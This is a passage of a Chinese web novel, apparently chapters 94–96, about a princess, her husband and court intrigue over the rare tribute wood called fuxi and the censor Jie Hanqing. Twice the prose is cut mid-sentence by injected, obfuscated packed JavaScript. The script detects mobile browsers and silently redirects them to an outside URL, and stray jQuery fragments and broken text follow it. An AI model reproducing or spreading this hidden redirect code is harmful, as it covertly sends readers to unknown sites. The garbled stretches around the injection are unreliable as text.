乔致用也体谅父母兄弟的苦心,所以小小抗争过几回无果,于是就搬出祖宅、远离族人,带着心上人天涯浪迹四海为家,从了军后更是方便了他们夫妻俩长相厮守,他立了功绩,也不说脱离家族,乔家倒也就睁一只眼闭一只眼。 乔致用很少在京,夫妻俩一合计也就没有在京中买房,反正梅如故入京之前是非常欢迎他们来梅家老宅看家护院的。即便梅如故一家搬回了京,他们还是非常乐意乔致用夫妇入住,尤其是梅如故的儿女,恨不得乔致用长长久久、生生世世地住下去。 但乔致用毕竟是要留京,今日住梅家,明日住韦不决的房子,后日再去窦宙、窦宇那儿挤一挤,甚至连独居的柳曦既的院子他也可厚着脸皮进一进,但总归不是个事。将来官场来往,满朝上下都得四处打听乔侍郎这个月又在哪位大人家里,他乔致用脸皮厚不打紧,但他心疼他的娇妻。 所以当乔致用和这个热乎的户部侍郎梅如故兴致勃勃谈论京中地价时,沈明枳觉得自己很多余。郇府附近是还有些空置的院落,她曾听郇寰说过,他的宅子当年是萧家人替他垫的银两。估摸着而今的乔致用应当远比当年刚刚离家出走的郇寰富,于是沈明枳就提了一嘴,但一听梅如故所说,好家伙,敢情这样偏僻破败的宅子也可以卖出吓死人的天价,立即乖乖地住口。 梅如故看向沈明枳笑道:“其实那一块儿本来也没这么贵的,老乔你当年还是买得起的——” 乔致用:“嗯?” 沈明枳心知不妙,就见梅如故耸耸肩,得逞地坏笑:“这还得多亏了咱们公主殿下在那儿建了府,连带着附近一圈都地价水涨船高,老乔你在兵部再奋斗十几年或许可以凑一凑。” 乔致用幽怨地看向干笑着躲闪不及的沈明枳。 又听他们或乐或愁地说了片刻,沈明枳可算逮住了机会:“鹇儿有事想请乔二哥帮忙。” 即便是梅如故他们,也免不了江湖上称兄道弟的风气。梅如故不是最长,但还是要舔着脸当大哥,随后是二哥乔致用。其实乔致用比梅如故年长,但他脸皮厚不过梅如故、也没兴趣和他争。 乔致用大手一挥,任沈明枳开口,倒是梅如故拦了拦,琢磨着沈明枳的心思笑问:“公主这个‘请’字用得生疏啊,以往开口不都是使唤、命令、撒娇的口气么?” 这是在挖苦小时她欺负窦宙和缠着乔致用不撒手。 沈明枳笑道:“若乔二哥能帮鹇儿这回——” 迎上沈明枳的目光,梅如故了然却狡黠地接话:“她说房子的事儿你就不用操心了,看中哪里就哪里,就算是朱雀大街也住得。” 乔致用:“……” 沈明枳:“……” 乔致用忍不住笑:“鹇儿这么有钱的么?” 梅如故丝毫不客气,背了手和乔致用“咬耳朵”,那语气,让沈明枳听出几分小人得志来:“二位殿下早给她备下了厚厚的嫁妆,中宫也赏赐不少,全是她的私产,花几辈子也花不完的。” 沈明枳咬牙应和:“对,那可是梅大人几辈子都挣不来的富贵!” 梅如故“啧”了一声表示不满,将自己要与她斗嘴的本能压了下去,乔致用笑得更夸张了:“鹇儿快说吧,万一二哥我办不到那就可惜了。” “二哥知道什么样的人家用得起伏羲木吗?” 梅如故眸色一凝,乔致用困惑不解:“怎么了?” 圣上回宫前又赏赐了新科进士不少东西,其中就有赏给一甲三人的呈在伏羲木匣的中歙州李氏墨。那李墨并不算稀奇玩意,要紧的是这匣子,用的是南诏属国进贡的伏羲木所制,是有价无市的珍宝。因着那伏羲木实在难得,很少进献大内皇宫,竟是连沈明枳这样受宠的皇女也未尝见过。 梅如故几乎是下意识觉得事情不对,沈明枳特意问伏羲木绝对不是她要求珍问奇,必然有更深的原委。他挥了挥手,“你只管答便是。” 乔致用再看了面色不佳的梅如故一眼,细细地开始思考,摩挲着下巴上又愁出来的胡茬:“这不是一般的东西,化隆上下也未必有见识过的人家。” 乔致用越想越觉得哪里不对,一阵森凉沿着脊梁骨爬了上来,让他不禁一个寒颤,但细究却又找不出哪里不对,一双向来飞扬的凤眼逐渐透射出一种摄人的杀意来。 这回轮到梅如故和沈明枳问他“怎么了”。 乔致用摆摆手,心思还沉在纷乱的记忆里,未曾注意到沈明枳眼底一闪而过的惊喜。 这伏羲木越难得,对沈明枳找出那串挂在郇寰腰带上的珠子的主人越有利。她为了找出那珠子的材质来历,花了不少功夫和银两,但收获惨淡。但其实她根本不在乎那珠子到底是怎么挂到郇寰身上的,她也并不关心这伏羲木到底是怎么被做成珠子串起来的,她只是想顺藤摸瓜,沿草打蛇,希望能探得那诡异的莲花纹的出处一星半点的消息。 而今看来,这伏羲木被做成珠子也可能大有文章可做,甚至能够制造一个机会,能让她直接去盘问慈恩寺,究竟有没有人、又是何人寻回了珠子,而不用大费周章旁敲侧击,而不用避讳让郇寰知道。 乔致用在西南多年,与南诏等国打了多年交道,他又惯爱收藏奇珍异宝,从他口中得到实证,沈明枳更加笃定心中的猜测:那莲花纹或许和西南有千丝万缕的关联。 忽然,就在陡然清醒的乔致用攥拳直击自己的掌心时,常跟随梅如故左右的小厮徐步而至,朝着众人行了礼,在得到梅如故准许的眼神后禀告:“都察院柳大人得了急症支撑不住,先行一步归家,说是晚上不能一道吃酒了。” ** 柳曦既的病来势凶猛,据说几乎天天住在都察院的左都御史已经十二日没有上朝了。 沈明枳特意以梅如故的名义请了孙先生去给他看诊,得到并无大碍的消息后才松了一口气,专心操办襄阳侯府的宴会。 席面大了就难免东家与西家有仇、南面和北面有怨,安排位子的事情让常年偷闲松懒的沈明枳焦头烂额,不得不去庄子上将娘娘留给她的嬷嬷们请来从旁协助,好在侯府上下早就被郇寰整顿过,沈明枳忙起来不至于让郇寰看笑话。 她一不爱赴宴,二不爱开宴,嫁了郇寰后家里也没什么机会大操大办,唯一可以按图索骥的还是中宫亲自操持的、他们的婚宴。郇三娘什么时候能嫁出去还是未知,郇八娘又还小,沈明枳觉得再不磨一磨操办席面的本事,她就要沦为皇家的笑柄了。 临川看着她忙前忙后,磕着瓜子,和辛莘、郇八娘说着城中趣事,笑得花枝乱颤。 趣事之一自然是兵部乔侍郎置府开第,和户部梅侍郎做了邻居。 据说梅府周围一圈地价高得令人咋舌,还有价无市。这一下惊动了都察院新来的小年轻们,他们揪结了吏部的小年轻们,一帮人闲来无事开始核查乔致用当兵这么多年的俸禄赏赐等等,得出了一个结论,那就是:如果没有家族财力支持的话,乔侍郎根本买不起这里的房。 乔家人一听说,心里就犯嘀咕,问了一圈确定没有人借乔致用钱,担心家族的希望乔侍郎走了歪门邪道、行了贪污收受贿赂之事,如临大敌,就破天荒地下了帖请乔致用回家吃个便饭,顺便聊一聊纲纪问题。这件事一传出来就惹得众人哄笑,乔致用才不得不解释说,是梅如故帮的忙。 梅如故笑而不语。 旁人对梅家的财力没有具体的概念,但大抵也知道清流之“清”不是清贫之“清”,也就没有过多纠缠。而事实上,这房子是沈明枳掏钱买的,钱走的是梅如故的账, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004603|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让刚入都察院的梅老四都误以为自家还有这泼天的富贵。 当然,乔致用怎么肯收沈明枳的银子,还是梅如故连骗带蒙,真真假假用他们小时候的恩怨债忽悠了好长日子,这才勉强说服了乔致用。不过,亲兄弟明算账,乔致用还是立下了欠条,是无论如何也要把银钱上的账理清。 趣事之二自然就是梅老四又被揍了。 梅依径纵容怂恿着和自己同年的小年轻们去查乔致用的账,结果最后查到了自己大哥头上,这让梅如故很光火,下了朝官服没换、衙门没去,梅侍郎就抡着象笏冲到了都察院,将还埋头案牍的梅依径揪了出来破口大骂一通。 都察院的官们知道梅如故和他们的左都御史的渊源,都不敢管,人人抱头鼠窜,若不是对面刑部的老好人严中立和大理寺的老好人薛康文出面劝和,事情很有可能发展到大打出手的地步。然后第二天点卯时,都察院的众人们就看见梅依径那张极其赏心悦目的脸上肿起了一只眼睛。 这件事经由下衙回来的郇寰添油加醋一番,俨然就成了梅依径被梅如故打得破相了,梅家兄弟阋墙岌岌可危。 沈明枳笑而不语。她早就听乔致用唉声叹气过了,心道梅老四这厮需要窦宙那样的老哥治一治。弟弟面前的梅如故只是个纸老虎,弟弟面前的窦宙才是真霸王,梅依径和窦宇才像真兄弟,都是三句话能气死老师父的孽障。 至于这最后一件趣事,沈明枳发誓,她绝对不是有意为之,她是故意为之。谁让介含清主动撞到自己的手中,那就不能怪她心狠手辣一回。当然,除了报复老九,她还有别的用意。 事情还得从多年以前说起。 当年寒门子弟介含清寒窗苦读终于金榜题名,收获了一甲探花的荣光,结果放榜当日,衣着寒酸却仪表堂堂的年轻人被迫参与了一出榜下抢婿的闹剧,在宿醉不归、打马而过的曹王相助之下,拼死逃出,却因此得罪了户部郎中楚文杰。 当年南巡归来沈明枳就知道了这事,只是没想过还有后续。 在介含清成功入了都察院后,偏生天资、能力、相貌样样不如他的同僚成了楚文杰的东床快婿,在几番排挤、几番打压、几番构陷之后,只管横冲直撞、于人情世故一窍不通的介含清在年末考核中被评为下下等,一纸吏部公文被贬出了化隆,被京城的庞杂的人情网络一脚踹到了西南云岭。 云岭在西南其实也算不错的地方,是南越将军辖区的西越都督驻地,也算是蛮荒之地的富贵之乡,盛产茶叶菌木。 这次被贬的经历让介含清吃足了教训,积极工作的同时不忘留心经营官场人情,终于给他的顶头上司西越道监察御史、行西越道按察使高穿楼留下了不错的印象。但这印象的成分说起来有点复杂,四分是因为他恪尽职守、尽心尽力,余下的六分则和他的“风流韵事”有关。 整个西南在由百越和西迁五大家组成的庞大的官僚集团的控制之下。譬如吴王的母妃就出身百越之首的荼泽族,以“余”为中原姓氏;现下在化隆风光无量的何家则是西迁五大家之首,曾让郇八娘念念不忘的彭雪萼则出身五大家之中的彭氏。他们大多为各地郡望,如永昌郡望何氏,姚州郡望彭氏,苴宁郡望邹氏,彩云郡望康氏,云岭郡望岑氏。 介含清是东越道保宁府巴州玉溪人氏,有着西越当地男儿没有的书卷敦醇之气,再加上他的行事作风、待人接物都备受称赞,很快俘获了岑氏的一位闺阁在室女子的芳心。 这岑姑娘在家中非常受宠,对她无有不应,更兼当地民风开放,岑姑娘就大胆张扬地追起介含清来,闹得满城风雨、人尽皆知。 岑姑娘怕情郎在衙门受欺负,让家里长辈到察院疏通关节;岑姑娘又怕情郎太过清苦,更怕情郎不好意思接受她的好意,便动用家中在都察院的人脉,以赏赐、俸禄等名目“赠”与介含清富贵。 不得不说,在同僚背地里骂他小白脸的时候,介含清过上了这辈子都未曾设想过的顺当生活。 95. 第九十五章 介含清 起初介含清一头雾水,全然不知岑姑娘究竟干了些什么,后来得知内幕,就打算和岑姑娘说清楚,并将一切分外财物退回。谁知这样更让岑姑娘动心,纠缠不舍之中岑姑娘曾有性命之忧,介含清救了她一回,于是更加不清不楚、难以割舍。 福祸相随,介含清的好日子就在岑姑娘一天天愈发热烈的追求中到了头。 起因是一支笔,伏羲紫毫笔。 介含清是犄角旮旯里出来的,认不得这支笔有什么通天之处,但闻笔杆击石,铿然有金石之声,也知道此非俗物,爱不释手。又因这是为岑姑娘答谢他的救命之恩所赠,他实在不好退还。 于是乎,在他亲历民间进贡事宜后,吃惊地发现这支笔居然使用上品伏羲木制成,再经过他的多方探查,更吃惊地发现不仅仅是伏羲木这样稀世难得的宝贝被当地豪族据为己有,还有诸多列为贡品、不得私用的珍奇被僭越挪用。而递送到化隆的单子上常常困缺此类贡品,圣上深感民力维艰,也不曾下令责逼,正称了当地豪族的心意,将本应该进献皇室的贡品占为己有。 介含清心中那不安分的火苗死灰复燃。 通过与岑姑娘亲密来往,他掌握了更多世家大族私吞贡品的证据,终于在和岑姑娘的婚期日□□近的当口,慎之又慎地上报了即将回京述职的高穿楼,希望能整顿西南吏治,还百姓平安富足,还官场纲纪清白。 沈明枳察到这儿的时候心里一颤。 乔致用对这些多年前的往事记得不是很清楚,诸多细节,诸如介含清的上司是高穿楼等等,都是沈明枳的暗卫传回的消息,而高穿楼是西越道云岭人、发妻是苴宁邹氏出身,这样足够让整个都察院顶层的大人物们离心离德的消息,则是看热闹的梅如故提供的。 按照梅如故的说法,他之所以对高穿楼的身世这么清楚,还要归功于高穿楼的一罐子上等云茶。 高穿楼老家每年都会捎来云岭茶叶,都察院相熟的同僚人手一份,作为他的上司柳曦既也得了一份,只是柳曦既不喜欢云茶的味道,梅如故年前去柳府窜门、拜访柳父时就忝着脸全要来吃。 梅如故回衙门收拾年终事宜结束时,路过热火朝天的礼部,就去转了两圈、串了个门,和礼部的老头子们就着待客的茶叶聊了起来,然后就聊到了西南云岭的茶叶,说是现在已经到菁明书院荣养的老儒生危游旭曾经买云茶被骗了,最后还是靠高御史在西南的妻舅讨回了公道、喝上了正品。 梅如故诧异问:高夫人娘家不是杭州府的吗?和他们的左都御史还是老乡! 然后他就知道高穿楼娶过两任夫人,发妻邹氏难产,正是苴宁郡望的邹氏。 其实这样的身世不是秘密,每年考课时都要查档,但将这样的背景和介含清接下来在西南的遭遇放在一起,就会感到一股子悚然。 高穿楼自然把事情压了下来,并且劝告介含清就此罢手不要惹祸上身。但事情还是走漏了风声,让五大家在都察院的眼线知道了。介含清与岑姑娘的婚事就此作废,还在某日归家途中惨遭毒手,贴身奴仆为他挡剑身亡,他也受了重伤。 然后岑家人又将岑姑娘私自增益情郎的事情翻过来,说是介含清贪赃枉法,人证——记恨他的同僚——物证——伏羲紫毫笔,当然对外之说这是紫檀紫毫笔——俱在,即将入狱罢职,最后还是岑姑娘求了一回,介含清才因“收受贿赂、贪赃枉法、考绩不佳”等由头被贬无涯县。接着在赴任途中又惨遭暗害,这时差点被捏死只剩一口气的介含清等来了祖父去世的消息,被迫丁忧去职发还祖籍,算是逃出生天。 现在的都察院除了大名鼎鼎的左都御史,还有“高风亮节”四位闻名遐迩的御史,高穿楼便是“高”,介含清就是“节”,谁曾想这两位而今快要平起平坐的铁面御史还有过这样的过往?岑氏也随何家一同进京,谁曾像风马牛不相及的岑氏和都察院的右佥都御史还曾有这样的交集? 更要命的是,当年追着介含清死缠烂打、一番柔情蜜意错付良人的那位岑姑娘,也随夫君进京了。沈明枳记得岑家递过帖子,开宴那日要来的。尚未婚配的介含清会不会来她办的这场变相相亲会,沈明枳不知道,但老九必然要来喝一壶,给他添添堵也是不错的。 化隆女眷之间已经流传起秦王老九和介含清之妹的流言蜚语,此时正被辛莘和临川拿出来反复咀嚼,越聊越起劲,从稀奇介姑娘得有多大能耐能让秦王浪子回头,到秦王这些年干过的那一堆数不胜数的荒唐事,再到化隆城中荒唐浪荡不输老九的那些公子哥儿们…… 郇八娘在一旁听得目瞪口呆。 情窦初开之后,她对外界这些适婚男子的了解全来自于郇七郎和郇寰平时的只言片语、小姐妹之间的闺阁私语,见过的外男也无非是柳家子侄、萧家子侄、玩伴的兄弟堂兄弟表兄弟、还有公主嫂嫂的兄弟,他们大多斯文有礼,或表现得斯文有礼,众人对他们的评价平平无奇,或者她听上去感觉平平无奇,头一回见识到这桃花中的恶桃花能开得这么张牙舞爪。 沈明枳对郇八娘的反应十分满意。 可就当辛莘说得眉飞色舞,不由自主把已经被拍死的长江前浪、曾经混世的头头申不极也拖进了这个言辞漩涡,郇八娘那种既崇拜又担心的表情变成了不可置信,仿佛在问:既然辛嫂嫂早就知道申大哥这么不靠谱,又为什么要嫁? 沈明枳特意挑事:“八娘,你有什么想问的就问,你辛嫂嫂不会生气的。” 辛莘自然知道沈明枳的暗示,大方地应和:“八娘,你想问什么呢?说吧。” 郇八娘在两相鼓励之下,纠结地遣词造句:“是因为父母之命、媒妁之言,所以嫂嫂嫁给申家大哥了吗?” 辛莘哈哈笑了,将八娘拉到自己怀里,“是啊,我与他是指腹为婚,所以即便我不喜欢他,他也不中意我,我们还是要成亲。” 闻言,沈明枳和临川都抬眼看神色不变依旧和蔼的辛莘,“不过八娘不用担心,你哥哥嫂嫂都极疼你、尊重你,你只管寻一个真正的君子去喜欢,不用担心什么逼不逼迫。” 郇八娘眨眨眼,望向沈明枳的目光中多了许多感激和庆幸,又问:“那什么样的才叫做真正的君子?” 话落,沈明枳和临川都有略带好奇的目光望向辛莘,辛莘本来已经打好腹稿,就等着聪明的郇八娘顺势发问,结果被这两道看戏的目光打扰,不知想起了什么少儿不宜的陈年旧事,心神一慌,舌头打结,略显局促地将话题砸向了沈明枳:“你不妨问问你嫂嫂,她见过的君子比我见过的人渣要多。” 沈明枳挑眉,临川幸灾乐祸地憋笑,心道:你自己不想和申不极过日子,还想阻止鹇儿和郇海山假装和平,此举妙哉,实在是妙啊! 迎上郇八娘期待的眼神,沈明枳捏汗。 她总不至于拿郇寰来忽悠人吧,万一八娘真的找了一个郇寰这种性子的,就凭她的心性脾气,当真要被拿捏得死死的,万一那还是个心术不正的,岂不是引狼入室,祸及家族? 但沈明枳还是硬着头皮笑道:“你大哥哥不几乎就是?” 郇八娘又眨眨眼睛。这下轮到辛莘和临川看沈明枳的戏了,等着沈明枳开始违心地、变着法儿地夸一夸郇海山。 沈明枳憋了很久始终夸不出口。外头对郇寰的赞扬她只需要照搬,但这样的话从她自己嘴里说出来和别人说,完全是两码事,并且她敢笃定如果她真的照猫画虎,凭她对辛莘、临川的了解,她们绝对会要求她对郇寰做出一点与众不同的评价,不然决不罢休。她们之间说说笑笑就罢了,万一被郇八娘捅到郇寰面前,那她可要丢大人了。 临川掩唇笑道:“你嫂嫂害羞了呢。” 沈明枳:“……” 郇八娘是个好孩子,不同临川和辛莘一起挖苦沈明枳,只是天真地问:“为什么是‘几乎’?大哥哥不就是顶顶好的君子吗?” 沈明枳顺势躲开临川她们的调侃,温和笑道:“你大哥哥少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临川最近日子过得很滋润,像是泡在那只叫凌云重的蜜糖罐里,恨不得天下有情人终成眷属,又恨不得痴男怨女在她的感召之下都能双宿双飞,于是推搡着辛莘要告辞,打算再给辛莘开开小灶、正正筋骨,就不打扰沈明枳和郇寰夫妇相处,“你废这么多话干什么,走了走了,他有家不回难不成睡大街?” 沈明枳把临川看得透透的,赶着她们走,送完祖宗后,就见郇八娘扑到郇寰面前用整个院子里的人都能听见的大嗓门笑说:“大哥哥回来得很及时,嫂嫂方才还夸大哥哥几乎就是真正的君子呢!” 郇寰正专心思量着朝中事,陡然被郇八娘吓了一大跳,回过味儿来后不由自主地笑了起来,蹲下身又要像以前一样去抱她,被机灵地郇八娘躲了过去,还小声附耳说:“方才嫂嫂还害羞了呢,大哥哥要抱就抱抱嫂嫂吧。”说完,就一蹦一跳地跑了出去。 沈明枳尴尬地起身立在原地,不知道郇八娘又悄悄说了什么,只见郇寰收了手臂站起来脸上笑得更加灿烂,笑出了声,见自己一副雷劈了的模样,居然更加高兴了,平复了许久才给自己倒了一杯茶,谈起了正事:“听说介含清和岑家的事情了吗?” 沈明枳收拾好神色,淡淡应道:“嗯,怎么了?” 郇寰自然不是来说八卦的:“殿下可知大楚藩国、地方进贡的贡品分为几等?各有何典型?” 沈明枳心道郇寰入网了,“三等,第三等百姓可享,实如常人选购,不过不用付钱、每年定额,如德庆贡桔、平顶板栗;第二等为成品专享,如漉水贡瓷;第一等是皇家专供,原料、成品皆为皇有,庶民仕宦皆不可私用,如伏羲木。” 郇寰眸色一闪,“殿下也知这伏羲木?看来殿下对此事的了解还在臣之上。” 他虽然是笑着说这句话的,但沈明枳却不觉得其中有笑,反有一种剑拔弩张的威压隐隐约约弥漫。他虽然是在问贡品等级,但沈明枳却不觉得他会不知道答案,或许在赵王处他已经得到了答案,但还多此一举,无非是为了探听自己的深浅。他的措辞虽然很客气恭敬,但就凭他这些年混迹官场,话术的本事一流,他如何感觉不到这些话可能带来的不悦、威胁,但他还这么说了,想来必有什么沈明枳未知的事情发生,让他态度有此转变。 96. 第九十六章 出岔子 沈明枳谨慎地解释:“曲江那日,父皇赐一甲三人伏羲木匣装的墨,临川就说她要这个匣子当生辰礼,本宫自然要去了解一番,说本宫对伏羲木的了解在你之上,此话不假。” 郇寰听得出沈明枳的不满,对她给出的解释也乐得不疑有他,心中那股子泛酸的别扭渐渐被郇八娘那番话带来的喜悦压倒,随即坦然道:“介含清当年被打回去的案子,或许可以一查。” 沈明枳冷冷瞥了他一眼,“查了要干嘛呢?得罪西南氏族非明智之举。” 郇寰轻轻蜷了手指,轻轻笑道:“敲山震虎而已,并非要把事情抬到明面上。” 赵王派是打算用贡品僭越案拿捏西南氏族,防止他们抱团抱上吴王的大腿,但他们能通过介含清与岑氏的绯闻挖出这样一个案子,别人也未必不能在洞悉缘由目的之后拼命掩藏案子,甚至将入坑掘土之人一并埋葬地下。 这件事情很有风险。 但,富贵险中求。 沈明枳为他续上一杯,有端茶送客的架势,刻意将自己积攒的不满抖露出来:“那驸马来是想本宫为你们做点什么呢?” 郇寰一愣,没有接过那杯茶,食指抵着人中遮着飞起的嘴唇笑起来,见已经不耐烦的沈明枳起身要出门,连忙随之站起,抢在她开门前先从她背后伸左手按住门板,右手环住她的腰,在她的双手预料之中地要拽开他箍在她腰上的右手时,郇寰垂下头,嘴唇贴着她发凉的耳朵,低声笑问:“方才郇旒说殿下夸了臣,说臣几乎就是真正的君子,可有此事?” 门外的浩浩汤汤的霞光透过门上雕花镂空处的油纸,扑洒在沈明枳脸上,那天越来越暗,光越来越红,红得发紫发沉,难以分辨究竟是暮光染红了双颊,还是双颊本就红透了。沈明枳被郇寰这突如其来的孟浪举动惊得浑身僵直,直到贴着他胸膛的背上、他气息喷洒掠过的耳边窜起一串火来,才将如同冰封的身子融化,让她直感觉烈火焚心,难以平静。 但她还是佯装镇定,那种连自己都可以骗过的镇定:“有。” 郇寰看不见自己眼角眉梢的笑,将覆在她腰上的手轻轻收紧,用小臂贴上她的腰带,让她整个人都被掌握在他的一臂之中,嘴唇擦上她的耳廓,用几乎只有这般亲近才可听见的声音问道:“为什么是‘几乎’?” 沈明枳说这话的时候,自然是考虑到郇寰行事作风中的那些保留,对正邪对错的保留,对立场选择的保留,对一个刑部尚书在追求清正官声的路途中罚不当罪、假公济私以及视而不见的保留。但“几乎”和“君子”这两个词,在此刻连在一起,全然成了一把钥匙,打开了那让沈明枳羞恼的往事匣子,锁落无声,心正擂鼓。 沈明枳咬牙道:“人无完人。” 郇寰灼热的呼吸就喷在她的脖间,手指挑开她的腰带,隔着衣料轻轻摩挲了两下,“我以为——” 他要曲解沈明枳的意思,又怕自己收不住在旁人面前露了陷,再一瞥这天色还亮,又暗骂自己沉不住气浪费这样好的契机。他一壁嫌弃郇七郎、郇八娘兄妹坏事,一壁又觉得自己无理取闹恩将仇报。最终,几番抗争纠结之下,还是顾及着家中有小辈,悬崖勒马。 郇寰无奈地轻笑出声,规矩地收了手,叹息过后恳求道:“不生气了好吗。” 沈明枳的心稍稍放下,感觉郇寰的手也松了些,于是稍稍往门前挪了少许,与他拉开些距离,恢复一开始冷然淡定的模样:“哦,不好。” 郇寰确定自己没听错后,为沈明枳与自己的这番玩笑而心花怒放,倏尔收紧了手臂,再度把即将脱离掌控的人揽了回来,嘴唇贴得更加近,温热的气息尽数喷在她的脸上,“那怎么样鹇儿才不生气呢?” 沈明枳再是一僵,心中大骂自己,嘴上还要接着话茬故意拿乔:“你解释吧。” 郇寰埋在她发间闷闷笑了,闻着那一股淡若无味的气息心神荡漾,但又想避而不答。 他要如何解释?难不成要说他在宫门口遇见赵王,顺道去赵王府坐了会儿,聊了会儿介含清与岑氏的事,定下查案的方针后,又遇见带着长英公主出宫的赵王妃窦晴柔,临走时听长英公主提了一嘴柳曦既的病,说是户部梅侍郎下的帖子请宫中孙太医看过诊、开过药、嘱咐过了不宜过分劳累,赵王就顺带叮嘱了自己也不必太过劳累、早早下衙、回家休息云云。 但他出了赵王府心里莫名不顺,想到孙先生是沈明枳用晋王的名义荐入宫的,又对沈明枳的事了如指掌,是沈明枳极其看中的人,而她这样看重的人还亲自去给柳曦既一个外人看病,借的是梅如故的名义,一看就是此地无银三百两,连他这个驸马受伤卧病的时候孙先生都没有来瞧过…… 郇寰觉得自己真是昏头了,吃味吃得脑子都糊涂了。 一不留神,郇寰沉默的时间久到沈明枳都察觉出有异,终于卡在郇寰深思熟虑即将开口坦白心迹时她抢先道:“不必解释了,该用晚膳了,走吧。” 此刻,郇寰又觉得怅然若失,他不防备沈明枳轻轻挪开了自己的手臂,拉开门就逃了出去,也没打算等自己,片刻的功夫就不见人影。 翌日,侯府大宴。 郇七郎跟着郇寰应酬着来宾,终于在即将开宴的时候逮到机会偷懒片刻,只觉得浑身的筋骨都被人拆下来重新乱装了一遍。他倚靠在后花园一处偏僻的假山旁,几株仿造南方山水园林景致栽种的芭蕉不吝惜自己如同被火烤过了的叶片,大方地给这位常客送来一片青樾。 其实他只是个陪衬,跟着郇寰向来客打着叔叔伯伯、大人公侯的招呼,做的最多的动作是含笑拜礼,说的最多的话是“晚辈有礼”。可就这样,默记那些宾客的姓氏籍贯、官职宗荫,小心处理那些错综复杂的姻亲网络和人情忌讳的担子轻轻搭在他的肩膀上,这些都让初出茅庐的他感到一个头两个大。 反观郇寰,如鱼得水,和每个人几乎都能说上几句不痛不痒、悦人耳目的话,爵位和驸马都尉的身份让他的几分打骨子里的傲气在和颜悦色的伪装下,显得无比真诚平易。 可大哥昨夜在书房宿了一宿,子时三刻才熄的灯,今天一大早还去刑部衙门里处理了公务,回府迎客到现在也未曾休息。再想起他听过的关于大哥年少轻狂的传闻,曾恣意汪洋、爱恨分明、最厌虚与委蛇的少年郎已经长成这般家族顶梁柱的模样,郇七郎心里莫名对离他不远的科举仕途产生几番畏、几番拒、几番迫不及待的好奇。 郇七郎整理衣发,正鼓舞了心气打算回到堂上与郇寰并肩作战,就听得假山外有女子娇怪的声音从西边传来:“你确定路是这么走的?” “姑娘放心,奴婢早得了消息,郇侯与申国公家的公子离了席往三春堂那处的席面去了,这是必经之路,咱们绕得远一些防止闲人瞧见,最稳妥不过了。即便被瞧见了,或是郇侯问起,咱们就说迷了路……” 郇七郎暗暗吃惊,他大哥成婚多年,居然还有人公然打他的主意!他曾在听郇府的下人说起,公主府上还有一个良家出身的宫里来的医婆也爬过郇寰的床,他大哥多么惜才谨慎的一个人,登时发怒,将人打发到偏远庄子上,后来听说还将人赶了出去。近水楼台的普通良家他都不沾,更何况是世家出身的娇小姐。 郇七郎觉得他得做点什么,防止消息通过一条崎岖且可能抹黑的渠道传到公主嫂嫂耳朵里。正当他打算跳出来时,又听得一阵脚步声从东边传来,随之而来的还有申不极的声音:“你别着急得上火了,万一气急攻心血不归经再加上你上了年纪,两眼一黑撅过去像柳曦既一样躺上个十天半个月的,别说刑部刚来的猴子称霸王,小心有人烧了你的仓偷了你的家……” 郇寰本就郁结,觉得申不极存心气他的,强忍着将这厮脑袋扭下来的冲动,咬牙斥他闭上嘴,突然见前方路上出现两个陌生人,像是晕头转向找着出路,一见他们来了,那主子打扮的女子顿时羞红了脸。 郇寰把堵 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郇寰想不起自己曾经何时何地“招惹”过这样的人物,但这张脸他越看越熟悉,好像真的在哪里见过。申不极看出郇寰的进退维谷,帮他问话,那亲力亲为的模样仿佛郇寰是个哑巴:“敢问何姑娘要谢海山什么恩情?” 何施雅又眨眼,面向郇寰:“慈恩寺《地狱变》揭幕那日,施雅和郇侯见过的呀。” 郇寰霎时惊醒,“何姑娘可是丢了一串木珠?” 何施雅笑得明艳:“正是,多亏郇侯捡到交予寺僧,施雅才能寻回。” 说着,她蹲身施礼。 郇寰眸色一暗,眼前又掠过那珠子模糊的式样,心里道这个何施雅竟然还是个不知事的,侧过身做出有事处理焦急欲走的样子,淡淡免去了她的客气:“何姑娘不需多礼,也不需谢我,那珠串其实不是我捡到的。” 那珠串挂在了他腰带上,是沈明枳发现的,论起来也算是她的功劳,只是见何施雅听着话头不对,如花似玉的一张脸上抑制不住地不可置信,却少了郇寰想看见的失落怅惘,郇寰便继续说道:“何姑娘若要谢,那就谢我家公主吧,不过她现在诸事繁忙,我便替何姑娘传达谢意,不劳何姑娘多跑了。” 话毕,郇寰还了一礼,拉上还回不过味儿来的申不极抬脚就走,没几步见到有婢女往来,就随便叫住了一个去给何施雅主仆引路,免得她们乱跑见了不该见的。 申不极一拍他肩膀嘻嘻笑了:“杀人诛心!这招你用了这么多年了还这么称手!你没看见那小姑娘的脸一下子就垮了。” “如果你的脸也想垮的话和我说。”郇寰一心想着事情,分不出心神与申不极调笑,脚下步子一刻不停,七拐八拐终于绕到了郇三娘僻静的院落,多年的克己奉礼让他一时做不出踹开房门的粗鲁举动,但他推门的力道极大,门板撞到墙格上的巨响足够让整座屋子和屋子里的人感受到他作为一家之主的愤怒。 郇三娘本就哭花了脸,心中惴惴不安,一见郇寰的气势像是提刀要来清理门户,顿时什么也顾不得,跳到了楼复身前,用自己那瘦弱如风中飘絮的纤细身子要去护那五大三粗的少年人,战战兢兢地叫了一声:“兄长,申公子。” 申不极一见这架势心道不好,郇三娘这胳膊肘往外拐的模样可不就是往郇寰的刀口上撞,可正当他要开口挽救,郇寰已经给郇三娘下了判决:“私会外男私会到家里了,郇毓,你可真是我郇家的好女儿。” 